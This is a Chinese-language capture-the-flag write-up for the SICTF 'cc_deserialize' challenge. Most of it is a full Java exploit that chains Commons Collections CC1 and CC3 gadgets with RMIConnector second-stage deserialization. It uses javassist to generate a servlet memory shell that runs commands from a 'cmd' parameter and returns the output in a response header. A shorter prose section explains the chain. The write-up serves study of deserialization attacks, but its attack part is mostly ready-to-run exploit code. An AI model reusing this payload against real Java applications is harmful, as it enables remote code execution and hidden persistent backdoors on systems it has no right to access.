sictf cc_deserialize
刚看名字狂喜,cc链刚学完,这不是简简单单,看完题目自闭,和cc链有关系,但不多,悲!
考点:
1. 基于cc链上的研究
2. rmi二次反序列化
3. java不出网
2. javassist缩短payload
思路:
因为我是赛后复现,也没环境,这里就直接分析wp了。
package com.n1ght_cc_deserialize;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
/**
* Hello world!
*
*/
public class CCDeserializeExp {
public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:iiop:///stub/" + CC3Exp());
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, new HashMap<String, String>());
ConstantTransformer constantTransformer = new ConstantTransformer(rmiConnector);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<String, String> map = new HashMap<>();
map.put("value", "value");
TransformedMap decorate1 = (TransformedMap) TransformedMap.decorate(map, null, invokerTransformer);
TransformedMap decorate = (TransformedMap) TransformedMap.decorate(decorate1, null, constantTransformer);
Class<?> name = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = name.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(o);
System.out.println(URLEncoder.encode(Base64.encode(bao.toByteArray()).replaceAll("\\s*", "")));
}
public static String CC3Exp() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = payload();
byte[][] codes = {code};
bytecodesField.set(templates, codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");
Class<LazyMap> c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(map2);
return Base64.encode(bao.toByteArray()).replaceAll("\\s*", "");
}
public static byte[] payload() throws NotFoundException, CannotCompileException, IOException {
String s="public MyClassLoader(){ javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();\n" +
" java.lang.reflect.Field r=request.getClass().getDeclaredField(\"request\");\n" +
" r.setAccessible(true);" +
" org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();\n"+
" String s =new Scanner(Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream()).next();" +
" response.setHeader(\"night\", s);}";
ClassPool classPool = ClassPool.getDefault();
classPool.importPackage(Scanner.class.getName());
CtClass ctClass = classPool.get(AbstractTranslet.class.getName());
CtClass calc = classPool.makeClass("MyClassLoader");
calc.setSuperclass(ctClass);
CtConstructor ctConstructor = CtNewConstructor.make(s, calc);
calc.addConstructor(ctConstructor);
return calc.toBytecode();
}
}
主函数main中,用了cc1的链子,最终目的是调用RMIConnector.connect,实现RMI二次反序列化,也就是将一个普通的反序列化点转为一个RMI反序列化点。
JMXServiceURL
是用于描述 JMX 服务的 URL 地址的类。通过创建一个 JMXServiceURL 对象,你可以指定连接到哪个 JMX Agent 上。RMIConnector
是通过 RMI 协议连接到远程 JMX Agent 的类。它接受一个 JMXServiceURL 对象和一组选项(这里用 HashMap 表示)作为参数,在这里实现了创建一个通过 RMI 协议连接到指定 JMX Agent 的连接器。
通过这段代码,实现了通过 RMI 协议连接到指定 JMX Agent 的功能,这样就可以通过 RMI 远程访问和管理 JMX 提供的管理接口,实现远程监控和管理 Java 应用程序的功能。
cc3()就是用了动态类加载来执行恶意类静态代码块中指令的链子
payload()就是构造了一个恶意类,恶意类的静态代码块中采用的是servlet的内存马(好像是防止exp长度超过8000)。
难点:
RMI二次反序列化,我也是第一次见,自己都还学不明白,就放个链接,链接中的题还用到了jdbc任意文件读取,又是新知识,猛猛学。
从一道题认识jdbc任意读文件和RMIConnector触发二次反序列化 — 2022强网拟态NoRCE
ok小学了一下学懂了,和我想的RMI二次反序列化不同,我想的是把一个普通的反序列化点转换成RMI反序列化点(开启RMI服务或监听这样子 ),然后打RMI反序列化的链子,实际上是在一个普通的反序列化点中进行反序列化,反序列化的过程中又调用了一次反序列化,通过这个反序列化直接 rce。下面理一下链子。
RMIConnector.connect()
RMIConnector.findRMIServer()
RMIConnector.findRMIServerJRMP()
然后就是进行序列化和反序列化
在RMIConnector.findRMIServer()支持jndi,stub,ior这三个服务,理论上三者应该都能打。
RMIConnector.findRMIServerJRMP()中会序列化base64编码的内容,这个内容我们可控,然后进行反序列化,触发rce。